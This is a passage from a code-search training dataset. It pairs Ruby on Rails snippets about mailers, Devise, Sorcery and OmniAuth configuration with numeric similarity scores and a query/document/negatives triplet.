"def validate_mailer_defined\n message = 'To use reset_password submodule, you must define a mailer (config.reset_password_mailer = YourMailerClass).'\n raise ArgumentError, message if @sorcery_config.reset_password_mailer.nil? && @sorcery_config.reset_password_mailer_disabled == false\n end",
"def email\n begin\n super\n rescue NoMethodError\n nil\n end\n end",
"def notifier_name(value = nil)\n if value.nil?\n mailer_name\n else\n self.mailer_name = value\n end\n end",
"def get_deployer_class\n fw_class = ( @config.framework ) ? @config.framework.downcase.capitalize : \"\"\n fw_system = ( @config.system ) ? @config.system.downcase.capitalize : \"\"\n \"#{fw_class}#{fw_system}Deployer\"\n end",
"def mailboxer_email(object)\n #Check if an email should be sent for that object\n #if true\n return self.email\n #if false\n #return nil\n end",
"def get_mail\n \n end",
"def encryptor_class\n @encryptor_class ||= ::Devise::Encryptors.const_get(encryptor.to_s.classify)\n end",
"def email\n return Contact.get_default_email self.id\n end",
"def mail_nickname\n return @mail_nickname\n end",
"def user_class()\n @user\n end",
"def email\n @net_ldap_entry[:mail].first\n end",
"def abstract\n NotificationsMailer.abstract\n end",
"def email\n @email ||= Email::Gateway.new(client)\n end",
"def validate_mailer_defined\n return unless\n sorcery_config.reset_password_mailer.nil? &&\n sorcery_config.reset_password_mailer_disabled == false\n\n raise Sorcery::Errors::ConfigError,\n 'To use reset_password submodule, you must define a mailer '\\\n '(config.reset_password_mailer = YourMailerClass).'\n end",
"def CommentMailer\n Notifications.CommentMailer\n end",
"def email\n if @data.attribute_names.include?(:cmupreferredmail)\n @email ||= @data[:cmupreferredmail].last\n else\n @email ||= @data[:mail].last\n end\n end",
"def mailer_gems(mailer = 'sparkpost')\n if mailer.to_s == 'postmark'\n \"gem 'postmark-rails'\"\n else\n \"gem 'sparkpost_rails'\"\n end\n end",
"def user_class\n if @@user_class.is_a?(Class)\n raise \"You can no longer set Cadenero.user_class to be a class. Please use a string instead.\"\n elsif @@user_class.is_a?(String)\n begin\n Object.const_get(@@user_class)\n rescue NameError\n @@user_class.constantize\n end\n end\n end",
"def email_address\n authentications.emails.active.first.uid rescue nil\n end",
"def mailboxer_email(object)\n\t #Check if an email should be sent for that object\n\t #if true\n\t return \"define_email@on_your.model\"\n\t #if false\n\t #return nil\n\tend",
"def receiver_email\n nil\n end",
"def app_email\n dflt = Rails.application.routes.url_helpers.contact_us_url || ''\n Rails.configuration.x.organisation.fetch(:helpdesk_email, dflt)\n end",
"def new_post_mail\n UserNotifierMailer.new_post_mail\n end",
"def mailboxer_email(object)\n #Check if an email should be sent for that object\n #if true\n # return \"define_email@on_your.model\"\n return email\n #if false\n #return nil\n end",
"def me_user_email\n email = Email.find_primary(me).take if auth?\n email.email || ''\n end",
"def mailboxer_name\n return \"#{name}\"\n end",
"def user\n @user ||= User.new @mail\n end",
"def email\n self[:emailAddress]\n end",
"def receiver_email\n nil\n end",
"def orderer_class\n @orderer_class || \"Spinach::Orderers::Default\"\n end",
"def name\n NameMailer.name\n end",
"def newsletter_email\n UserMailer.newsletter_email\n end",
"def contact_email\n return @contact_email\n end",
"def provider_class\n @__klass ||= Yeller::Provider.class_of(provider)\n end",
"def delivery_adapter\n adapter_name = \"Delivery::Deliverers::#{template.provider.classify}Deliverer\"\n\n begin\n adapter_name.constantize\n rescue LoadError\n raise MissingDeliveryAdapter, \"#{adapter_name} not defined\"\n end\n end",
"def contact\n Notifierrails.contact\n end",
"def seller_email\r\n user.email rescue nil\r\n end",
"def email_service\n self.email_service = self.email.match(/\\A\\w+\\.?\\w*\\@{1}([a-z]+)\\.{1}[a-z]+\\z/).to_a[1]\n end",
"def set_mailername\n @mailername = Mailername.find(params[:id])\n end",
"def class_moniker\n self.class.moniker\n end",
"def Job_application\n AccountCreatedMailer.Job_application\n end",
"def email_via\n @email_via || :smtp\n end",
"def email\n admin.try(:email)\n end",
"def u_email\n (self.user).email\n end",
"def employeer_notification\n NotificationMailer.employeer_notification\n end",
"def processed_mailer\n @processed_mailer ||= @mailer_class.new.tap do |mailer|\n mailer.process @action, *@args\n end\n end",
"def mailboxer_email(object)\n #Check if an email should be sent for that object\n #if true\n return self.email\n #if false\n #return nil\nend",
"def type_assigner\n @type_assigner ||=\n type.in?(TYPE_ASSIGNERS) &&\n \"DirtySeed::Assigners::Type::#{type.to_s.capitalize}\".constantize.new(__getobj__)\n end",
"def device_account_email\n return @device_account_email\n end",
"def email\n if md = RE_EMAIL.match(contact.to_s)\n md[0]\n else\n nil\n end\n end",
"def reportable_email\n try(:email) || try(:user).try(:email) || try(:owner).try(:email) || raise(\"No reportable_email found\")\n end",
"def mailboxer_email(object)\n #Check if an email should be sent for that object\n #if true\n #return \"define_email@on_your.model\"\n #if false\n #return nil\n return nil\n end",
"def notifier_name\n self.class.to_s.sub('Backup::', '')\n end",
"def email_from\n case self.type\n when 'test'\n \"[email protected]\"\n when 'left','sdm','lcc','cde'\n \"[email protected]\"\n else\n \"[email protected]\"\n end\n end",
"def receiver_name\n if self.has_registered_receiver?\n \"#{self.receiver.name}\"\n else\n self.to_receiver.name_and_email\n end\n end",
"def the\n NameMailer.the\n end",
"def assigner\n return inclusion_assigner if inclusion_assigner.respond?\n return meaningful_assigner if meaningful_assigner.respond?\n\n type_assigner\n end"
] | [
"0.83873934",
"0.77915466",
"0.7390879",
"0.73567134",
"0.7176125",
"0.67854923",
"0.66556853",
"0.6575812",
"0.65088624",
"0.65088624",
"0.6375758",
"0.63133085",
"0.62643677",
"0.62500125",
"0.60685647",
"0.5981984",
"0.5981984",
"0.5957945",
"0.58847076",
"0.5737907",
"0.57286406",
"0.56651384",
"0.5625764",
"0.5560752",
"0.5541268",
"0.5482105",
"0.5453805",
"0.54230714",
"0.5414931",
"0.5414768",
"0.5409392",
"0.54074043",
"0.54071945",
"0.5391217",
"0.5391217",
"0.5378623",
"0.53283024",
"0.5308347",
"0.5303031",
"0.52927667",
"0.5276696",
"0.5264662",
"0.5251993",
"0.5239252",
"0.5204522",
"0.5192538",
"0.5173685",
"0.51675856",
"0.5150893",
"0.514782",
"0.5146433",
"0.5141649",
"0.51396513",
"0.51326394",
"0.5129117",
"0.51160794",
"0.5115803",
"0.51143694",
"0.507819",
"0.50638145",
"0.50574034",
"0.50405955",
"0.50365734",
"0.5022144",
"0.5019882",
"0.50195086",
"0.50158787",
"0.5014984",
"0.50117624",
"0.5001733",
"0.49794683",
"0.49788028",
"0.49713537",
"0.4966958",
"0.4955482",
"0.4947562",
"0.49461976",
"0.49416998",
"0.4936776",
"0.4931171",
"0.49294764",
"0.49172336",
"0.49068463",
"0.48940367",
"0.48836023",
"0.48787296",
"0.4875869",
"0.48709044",
"0.48677582",
"0.48660675",
"0.48629874",
"0.4861861",
"0.48535472",
"0.48503566",
"0.48491415",
"0.48432618",
"0.48377162",
"0.4830604",
"0.48219585",
"0.4820789"
] | 0.5582606 | 23 |
Set the mailer reference object to access the mailer. source://devise//lib/devise.rb354 | def mailer=(class_name); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def mailer\n @mailer_ref.get\n end",
"def mailer=(class_name)\n ActiveSupport::Dependencies.reference(class_name)\n @mailer_ref = Getter.new(class_name)\n end",
"def initialize mailer=\"mutt\"\n @mailer = mailer\n end",
"def mailer\n ExamplerailsMailer.mailer\n end",
"def set_register_mailer\n @register_mailer = RegisterMailer.find(params[:id])\n end",
"def mailer\n @_controller\n end",
"def mailer\n @_controller\n end",
"def set_customer_mailer\n @customer_mailer = CustomerMailer.find(params[:id])\n end",
"def mailer_to\n resolve_value(_notification_email)\n end",
"def mailboxer_email(object)\n self.email\n end",
"def set_email_notification\n @email_notification = @current_user.email_notification\n end",
"def mailer; end",
"def mailboxer_email(object)\n\t email\n\tend",
"def set_mailername\n @mailername = Mailername.find(params[:id])\n end",
"def mailboxer_email(object)\n return email\n end",
"def mailboxer_email(_object)\n email\n end",
"def example_mailer\n ExamplerailsMailer.example_mailer\n end",
"def set_mailer_host\n ActionMailer::Base.default_url_options[:host] = host\n ActionMailer::Base.smtp_settings.update(user_name: ENV[\"#{current_website.subdomain}_email\"],password: ENV[\"#{current_website.subdomain}_password\"])\n end",
"def mailboxer_email(object)\n email\n end",
"def mailboxer_email(object)\n email\n end",
"def mailer_class\n Object.const_get(self.class.to_s)\n end",
"def mailboxer_email(obj=nil)\n return nil\n end",
"def set_from_email_address\n self.from_user_email ||= Settings::NotificationsFromEmail || user&.email\n end",
"def email\n @email ||= Email::Gateway.new(client)\n end",
"def to_supporter\n ReviewMailer.to_supporter\n end",
"def set_user_mail\n @user = User.find(params[:id])\n end",
"def send_contact_email_to_supporter\n UserMailer.contact_us(self).deliver_now\n end",
"def mailboxer_email(object)\n #Check if an email should be sent for that object\n if send_notification_mails == true\n return email\n else\n return nil\n end\n end",
"def email=(value)\n self.from_email = value\n end",
"def contact_email\n UserMailer.contact_email\n end",
"def admin_email\n ContactMailer.admin_email\n end",
"def password_reset(hacker)\n @hacker = hacker\n mail to: hacker.email, subject: 'hackrLog() password reset.'\n end",
"def set_user_mailer_auto\n @user_mailer_auto = UserMailerAuto.find(params[:id])\n end",
"def notifier_name(value = nil)\n if value.nil?\n mailer_name\n else\n self.mailer_name = value\n end\n end",
"def email=(value)\n reset_agent\n @email = value\n end",
"def validate_mailer_defined\n message = 'To use reset_password submodule, you must define a mailer (config.reset_password_mailer = YourMailerClass).'\n raise ArgumentError, message if @sorcery_config.reset_password_mailer.nil? && @sorcery_config.reset_password_mailer_disabled == false\n end",
"def set_actionmailer_host\n ActionMailer::Base.default_url_options[:host] = request.host_with_port\n end",
"def set_mail\n @mail = Mail.find(params[:id])\n end",
"def this_mail( mail, options )\r\n subject mail.subject\r\n recipients setup_recipients( mail.email )\r\n from mail.from\r\n body options.merge( :mail => mail )\r\n end",
"def send_reminder_email \n UserMailer.reminder_email(self).deliver\n end",
"def set_gee_mail\n @gee_mail = GeeMail.find(params[:id])\n end",
"def validate_mailer_defined\n return unless\n sorcery_config.reset_password_mailer.nil? &&\n sorcery_config.reset_password_mailer_disabled == false\n\n raise Sorcery::Errors::ConfigError,\n 'To use reset_password submodule, you must define a mailer '\\\n '(config.reset_password_mailer = YourMailerClass).'\n end",
"def set_mail_context\n @mail_context = MailContext.find(params[:id])\n end",
"def set_request_for_mailer\n ActionMailer::Base.default_url_options[:host] = request.host_with_port\n end",
"def set_retailer\n @retailer = Retailer.find(params[:id])\n end",
"def reset_password_email\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end",
"def set_recipient\n end",
"def email\n begin\n super\n rescue NoMethodError\n nil\n end\n end",
"def password_reset(teacher)\n @teacher = teacher\n mail to: teacher.email, subject: \"Password reset\"\n end",
"def user\n @user ||= User.new @mail\n end",
"def app_email\n dflt = Rails.application.routes.url_helpers.contact_us_url || ''\n Rails.configuration.x.organisation.fetch(:helpdesk_email, dflt)\n end",
"def assignee_email\n \tself.assignee.email if self.assignee\n end",
"def set_email_ref\n @email_ref = EmailRef.find(params[:id])\n end",
"def setup_mailer\n if self.ssl\n self.port = DEFAULT_SSL_PORT if self.port.nil?\n else\n self.port = DEFAULT_PORT if self.port.nil?\n end\n\n if old_server != server or old_port != port\n @mailer = Net::POP3.new( self.server, self.port )\n end\n\n if self.ssl\n @mailer.enable_ssl\n else\n @mailer.disable_ssl\n end\n\n # keep track of old server and port\n self.old_server = self.server\n self.old_port = self.port\n end",
"def reset_password_email\n UserMailer.reset_password_email(User.first)\n end",
"def mailer_set_url_options\n ActionMailer::Base.default_url_options[:host] = request.host_with_port\n end",
"def newsletter_email\n UserMailer.newsletter_email\n end",
"def email_set(address)\n self.email.set address\n end",
"def email\n em = Email.new\n em.host = domain\n em.user = \"info\"\n em\n end",
"def add_mailer(mailer)\n unless @mailers.include? mailer \n @mailers << mailer\n end\n end",
"def __setobj__(mail_message) # :nodoc:\n @mail_message = mail_message\n end",
"def email_via\n @email_via || :smtp\n end",
"def setup_email(user)\n recipients user.email\n from self.contact_email\n sent_on Time.now\n end",
"def mailboxer_email(object)\n shouldSendEmail = true\n email if shouldSendEmail\n end",
"def new_post_mail\n UserNotifierMailer.new_post_mail\n end",
"def set_admin_retailer\n @admin_retailer = Admin::Retailer.find(params[:id])\n end",
"def send_password_reset_email\n AdminMailer.password_reset(self).deliver_now\n end",
"def email\n preferred_email\n end",
"def set_forgotmail\n @forgotmail = Forgotmail.find(params[:id])\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\nend",
"def password_reset(user)\n @user = user\n mail to: user.email, subject: 'Password reset'\n # @greeting = \"Hi\"\n # mail to: \"[email protected]\"\n end",
"def initialize(settings, mailer)\n self.settings = settings\n self.mailer = mailer\n self.apps = []\n end",
"def initialize(settings, mailer)\n self.settings = settings\n self.mailer = mailer\n self.apps = []\n end",
"def send_password_reset_mail\n UserMailer.password_reset(self).deliver_now\n end",
"def setup_email(user)\n @recipients = \"#{user.email}\"\n @from = AppConfig.app_email\n @subject = \"[#{AppConfig.app_name}] \"\n @sent_on = Time.now\n @body[:user] = user\n end",
"def email\n @email ||= ENV['EMAIL']\n end",
"def password_reset_instructions(user)\n @user = user\n mail :to => user.email\n end",
"def mailboxer_email(object)\n #Check if an email should be sent for that object\n #if true\n return self.email\n #if false\n #return nil\n end",
"def send_password_reset_email\n\t UserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_email\n StaffMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n GamerMailer.password_reset(self).deliver_now\n end",
"def setup_mail(record, action)\n @devise_mapping = Devise::Mapping.find_by_class(record.class)\n\n raise \"Invalid devise resource #{record}\" unless @devise_mapping\n @resource = instance_variable_set(\"@#{@devise_mapping.name}\", record)\n\n mail(:subject => translate(@devise_mapping, action),\n :from => mailer_sender(@devise_mapping), :to => record.email) do |format|\n format.html { render_with_scope(action, :controller => \"mailer\") }\n end\n end",
"def method_missing(method, *args, &block)\n if instance_methods.include?(method)\n mailer = new\n mailer.send(method, *args, &block)\n mailer\n else\n super\n end\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\r\n UserMailer.password_reset(self).deliver_now\r\n end",
"def set_ourmail\n @ourmail = Ourmail.find(params[:id])\n end",
"def send_password_reset_email\n \tUserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end"
] | [
"0.7682378",
"0.75934964",
"0.71761274",
"0.6817066",
"0.6779114",
"0.67481995",
"0.67481995",
"0.67277086",
"0.66867054",
"0.6677117",
"0.6601207",
"0.6382463",
"0.631185",
"0.63107187",
"0.6276338",
"0.6274289",
"0.6237451",
"0.6227114",
"0.61879236",
"0.61879236",
"0.61078656",
"0.60859257",
"0.6085431",
"0.6058086",
"0.60476613",
"0.604351",
"0.6011747",
"0.5979826",
"0.59706515",
"0.59610665",
"0.59362584",
"0.5935448",
"0.5874453",
"0.5857152",
"0.5829193",
"0.58251613",
"0.57889014",
"0.578879",
"0.5770738",
"0.5766915",
"0.576272",
"0.5750782",
"0.57464355",
"0.5721941",
"0.57159287",
"0.5710616",
"0.57068175",
"0.5689448",
"0.56734496",
"0.5667486",
"0.56503344",
"0.5646566",
"0.56295264",
"0.5625218",
"0.56227225",
"0.56055075",
"0.56021804",
"0.5600795",
"0.55979156",
"0.5597165",
"0.5597051",
"0.5596347",
"0.558809",
"0.55855715",
"0.55846864",
"0.5584539",
"0.55747306",
"0.5563844",
"0.5563341",
"0.5557597",
"0.5552169",
"0.55495965",
"0.55495965",
"0.55420375",
"0.5535832",
"0.5528877",
"0.5521849",
"0.5517469",
"0.5512602",
"0.55063504",
"0.5505692",
"0.55047065",
"0.5503143",
"0.5493958",
"0.54931474",
"0.54929173",
"0.549155",
"0.5490425",
"0.5490425",
"0.5490425",
"0.5490425",
"0.5490425",
"0.5490425",
"0.5490425",
"0.5490425",
"0.5490425",
"0.5490425",
"0.5490425",
"0.5490425",
"0.5490425"
] | 0.69784576 | 3 |
Specify an OmniAuth provider. config.omniauth :github, APP_ID, APP_SECRET source://devise//lib/devise.rb457 | def omniauth(provider, *args); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[:github] = OmniAuth::AuthHash.new({:provider => 'github',:uid => '123545',:info => {:name => 'Satine', :email => '[email protected]'}})\n end",
"def apply_omniauth(omniauth)\n authentications.build(provider: omniauth['provider'],\n uid: omniauth['uid'],\n token: omniauth['credentials']['token'],\n secret: omniauth['credentials']['secret'])\n end",
"def omniauth\n request.env['omniauth.auth']\n end",
"def omniauth\n request.env['omniauth.auth']\n end",
"def omniauth\n request.env['omniauth.auth']\n end",
"def set_omniauth(opts = {})\n default = {\n :provider => :facebook,\n :uuid => \"1234\",\n :facebook => {\n :email => \"[email protected]\",\n :gender => \"Male\",\n :first_name => \"foo\",\n :last_name => \"bar\"\n }\n }\n\n credentials = default.merge(opts)\n provider = credentials[:provider]\n user_hash = credentials[provider]\n\n OmniAuth.config.test_mode = true\n\n OmniAuth.config.mock_auth[provider] = {\n 'provider' => credentials[:provider],\n 'uid' => credentials[:uuid],\n \"extra\" => {\n \"user_hash\" => {\n \"email\" => user_hash[:email],\n \"first_name\" => user_hash[:first_name],\n \"last_name\" => user_hash[:last_name],\n \"gender\" => user_hash[:gender]\n }\n }\n }\nend",
"def update_devise_rb\n inject_into_file 'config/initializers/devise.rb', after: \"config.sign_out_via = :delete\\n\" do <<-'RUBY'\n\n # Config Social Keys to create the SignUps\n config.sign_out_via = :get\n config.omniauth :facebook, ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"], { :scope => 'email, offline_access', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :twitter, ENV[\"TWITTER_KEY\"], ENV[\"TWITTER_SECRET\"], { :scope => 'r_fullprofile, r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :linkedin, ENV[\"LINKEDIN_KEY\"], ENV[\"LINKEDIN_SECRET\"], { :scope => 'r_fullprofile r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :github, ENV['GITHUB_KEY'], ENV['GITHUB_SECRET'], scope: \"user, public_repo\"\n config.omniauth :google_oauth2, ENV['GOOGLE_KEY'], ENV['GOOGLE_SECRET'], {}\n\n RUBY\n end\n\n puts 'Check your config/initializers/devise.rb which was updated to have the Social Keys used (OmniAuth linked to devise)'.colorize(:light_green)\n puts 'UPDATE your config/initializers/devise.rb if you need more data from the user, CHANGING the: SCOPE'.colorize(:light_yellow)\n end",
"def configured_providers\n Rails.configuration.providers.select do |provider|\n Rails.configuration.send(\"omniauth_#{provider}\")\n end\n end",
"def configured_providers\n Rails.configuration.providers.select do |provider|\n Rails.configuration.send(\"omniauth_#{provider}\")\n end\n end",
"def omniauth\n request.env[\"omniauth.auth\"]\n end",
"def apply_omniauth(auth)\n self.email = auth['extra']['raw_info']['email'] if auth['extra']['raw_info']['email']\n self.password = Devise.friendly_token[0,20]\n authentications.build(:provider=>auth['provider'], :uid=>auth['uid'], :token=>auth['credentials']['token'], :secret=>auth['credentials']['secret'])\n end",
"def apply_omniauth(omniauth)\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def apply_omniauth(omniauth)\n # self.email = omniauth['info']['email'] if email.blank? # Twitter does not return an email\n authentications.build(provider: omniauth[\"provider\"], uid: omniauth[\"uid\"])\n end",
"def provider\n :github\n end",
"def omniauth_login_url(provider)\n \"#{Rails.configuration.relative_url_root}/auth/#{provider}\"\n end",
"def apply_omniauth(omni)\n self.authentications.build(:provider => omni['provider'],\n :uid => omni['uid'],\n :token => omni['credentials']['token'],\n :token_secret => omni['credentials']['secret'])\n\n self.send(\"set_#{omni['provider']}_info\", omni)\n end",
"def omniauth_providers\n @omniauth_providers ||= Account.omniauth_providers.map(&:to_s)\n end",
"def apply_omniauth(omniauth)\n case omniauth['provider']\n when 'facebook'\n self.apply_facebook(omniauth)\n end\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'], :token =>(omniauth['credentials']['token'] rescue nil))\n end",
"def openid_oauth(value = nil)\n rw_config(:openid_oauth, value, false)\n end",
"def apply_omniauth(omniauth)\n #add some info about the user\n self.login ||= omniauth['user_info']['nickname']\n self.picture_url = omniauth['user_info']['image']\n self.email ||= omniauth['user_info']['email']\n #self.nickname = omniauth['user_info']['nickname'] if nickname.blank?\n \n # unless omniauth['credentials'].blank?\n # user_tokens.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n # else\n user_tokens.build(:provider => omniauth['provider'], :uid => omniauth['uid'], \n :token => omniauth['credentials']['token'], :token_secret => omniauth['credentials']['secret'])\n # end\n #self.confirm!# unless user.email.blank?\n end",
"def set_google_omniauth(email = \"[email protected]\", opts = {})\n default = {provider: :google_oauth2,\n uuid: \"1234\",\n google_oauth2: {\n email: email,\n gender: \"male\",\n first_name: \"eco\",\n last_name: \"work\",\n name: \"ecowork\",\n locale: \"en\"\n }\n }\n\n credentials = default.merge(opts)\n provider = credentials[:provider]\n user_hash = credentials[provider]\n\n OmniAuth.config.test_mode = true\n\n OmniAuth.config.mock_auth[provider] = OmniAuth::AuthHash.new({\n \"uid\" => credentials[:uuid],\n \"provider\" => credentials[:provider],\n \"info\" => {\n \"email\" => user_hash[:email],\n \"first_name\" => user_hash[:first_name],\n \"last_name\" => user_hash[:last_name],\n \"name\" => user_hash[:name]\n },\n \"extra\" => {\n \"raw_info\" => {\n \"gender\" => user_hash[:gender],\n \"locale\" => user_hash[:locale]\n }\n }\n })\nend",
"def apply_omniauth(omniauth)\n case omniauth['provider']\n when 'facebook'\n self.apply_facebook(omniauth)\n when 'twitter'\n self.apply_twitter(omniauth)\n end\n authentications.build(hash_from_omniauth(omniauth))\n end",
"def configure_omniauth_mock(cassette = 'github_login')\n OmniAuth.config.test_mode = true\n OmniAuth.config.add_mock(:github, omniauth_hash(cassette))\n end",
"def configure_github_access\n if Settings.instance.oauth_token\n @github = Octokit::Client.new(\n :login => Settings.instance.username,\n :oauth_token => Settings.instance.oauth_token\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end",
"def apply_omniauth(omniauth)\n if omniauth['provider'] == 'facebook'\n\n #Buscar info\n self.email = omniauth['info']['email']\n self.name = omniauth['info']['name']\n\n #location é composto por \"Cidade, Pais\"\n if omniauth['info']['location'] != nil\n location = omniauth['info']['location'].split(\", \")\n else\n location = ''\n end\n #location = omniauth['info']['location'].split(\", \")\n\n #buscar cidade do location\n\n city = City.find_by city: location[0]\n if city != nil\n \tself.city = city\n end\n\n\n #buscar imagem\n #if omniauth['info']['image']!=nil\n # self.avatar = URI.parse(omniauth['info']['image'])\n #end\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n elsif omniauth['provider'] == 'twitter'\n #Buscar info\n self.name = omniauth['info']['name']\n\n #buscar cidade do location\n city = City.find_by city: omniauth['info']['location']\n if city != nil\n \tself.city = city\n end\n\n #buscar imagem\n #if omniauth['info']['image']!=nil\n # self.avatar = URI.parse(omniauth['info']['image'])\n #end\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n elsif omniauth['provider'] == 'google_oauth2'\n #Buscar info\n self.email = omniauth['info']['email']\n self.name = omniauth['info']['name']\n\n #Google não contem cidade\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end\n\n end",
"def omniauth\n if params[:provider] == 'github'\n @user = User.find_or_create_by_github_omniauth(auth)\n else \n @user = User.find_or_create_by_google_omniauth(auth)\n end\n\n session[:user_id] = @user.id\n redirect_to user_path(@user)\n end",
"def oauth\n redirect_to \"#{root_path}auth/#{Setting['omniauth']['provider']}\"\n end",
"def omniauth_setup_google_auth_for(user)\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new(\n provider: \"google_oauth2\",\n uid: user.uid,\n info: { \"email\" => user.email }\n )\n Rails.application.env_config[\"devise.mapping\"] = Devise.mappings[:user]\n Rails.application.env_config[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:google_oauth2]\nend",
"def apply_omniauth(omniauth)\r\n self.email = omniauth['user_info']['email'] if email.blank?\r\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\r\n end",
"def setup\n case\n when session.delete(:only_dtu)\n request.env['omniauth.strategy'].options[:login_url] = '/login?only=dtu&template=dtu_user'\n when session.delete(:prefer_dtu)\n request.env['omniauth.strategy'].options[:login_url] = '/login?template=dtu_user'\n when session.delete(:public)\n request.env['omniauth.strategy'].options[:login_url] = '/login?template=local_user'\n else\n request.env['omniauth.strategy'].options[:login_url] = '/login'\n end\n\n render :text => \"Omniauth setup phase.\", :status => 404\n end",
"def create_omniauth(opts = {})\n auth = create :auth\n real_auth = auth.merge(opts)\n provider = real_auth[:provider]\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[provider] = auth\nend",
"def omniauth?\n provider? && uid?\n end",
"def set_auth\n @auth = session[:omniauth] if session[:omniauth]\n end",
"def set_ommniauth_facebook(email = '[email protected]')\n OmniAuth.config.mock_auth[:facebook] = auth_hash_facebook(email)\n request.env[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:facebook]\n end",
"def apply_omniauth(omniauth)\n self.email = omniauth['user_info']['email'] if email.blank?\n\n if nick.blank?\n self.nick = (omniauth['user_info']['first_name'] || omniauth['user_info']['nickname'] ||\n omniauth['user_info']['name'] ||omniauth['user_info']['email'])\n end\n\n self.email_alert = false\n self.sms_alert = false\n self.weekend = false\n\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def apply_omniauth(omniauth)\n self.email = omniauth['info']['email'] if email.blank?\n self.username = omniauth['info']['name'] if username.blank?\n puts \"******************************\"\n puts omniauth\n puts \"******************************\"\n authentications.build(provider:omniauth['provider'], uid:omniauth['uid'])\n end",
"def apply_omniauth(auth)\n # In previous omniauth, 'user_info' was used in place of 'raw_info'\n self.email = auth['extra']['raw_info']['email']\n # Again, saving token is optional. If you haven't created the column in authentications table, this will fail\n authentications.build(:provider => auth['provider'], :uid => auth['uid'], :token => auth['credentials']['token'])\n end",
"def apply_omniauth(omniauth)\n authorizations.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def oauth\n login_at(auth_params[:provider])\n end",
"def oauth\n login_at(auth_params[:provider])\n end",
"def auth\n \trequest.env['omniauth.auth']\n \tend",
"def setup\n OmniAuth.config.test_mode = true\n end",
"def setup\n OmniAuth.config.test_mode = true\n end",
"def auth\n request.env['omniauth.auth']\n end",
"def auth\n request.env['omniauth.auth']\n end",
"def configure_github_access\n settings = ::GitReview::Settings.instance\n if settings.oauth_token && settings.username\n @github = Octokit::Client.new(\n :login => settings.username,\n :access_token => settings.oauth_token,\n :auto_traversal => true\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end",
"def add_omniauth(auth)\n self.authentications.find_or_create_by(\n provider: auth['provider'],\n uid: auth['uid'].to_s\n )\n end",
"def login_with(provider)\n post \"/auth/#{provider}/callback\", params: OmniAuth.config.mock_auth[provider.to_sym]\n end",
"def login_with(provider)\n post \"/auth/#{provider}/callback\", params: OmniAuth.config.mock_auth[provider.to_sym]\n end",
"def social_identity\n auth = request.env['omniauth.auth']\n end",
"def setup\n # !!!! Once you have enabled test mode, all requests to OmniAuth will be short circuited to use the mock authentication hash.\n # A request to /auth/provider will redirect immediately to /auth/provider/callback !!!!\n OmniAuth.config.test_mode = true\n end",
"def apply_omniauth(omniauth)\n\t\t#puts \"omniauth #{omniauth}\"\n\t\tself.email = omniauth['info']['email'] if email.blank?\n\t\tself.username = omniauth['info']['name'] if username.blank?\n\t\tself.remote_image_url = omniauth['info']['image'] if remote_image_url.blank?\n\t\tauthentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'], :oauth_token => omniauth['credentials']['token'], :oauth_token_secret => omniauth['credentials']['secret'])\n\t\tputs \"authentication built\"\n\tend",
"def person_omniauth_authorize_path_or_url(provider)\n SecureUrlHelper.https? ? person_omniauth_authorize_url(provider, :protocol => 'https') : person_omniauth_authorize_path(provider)\n end",
"def set_ommniauth_google(email = '[email protected]')\n OmniAuth.config.mock_auth[:google] = auth_hash_google(email)\n request.env[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:google]\n end",
"def omniauth_with(&blk)\n @omniauth_cb = blk if blk\n @omniauth_cb\n end",
"def auth\r\n request.env['omniauth.auth']\r\n end",
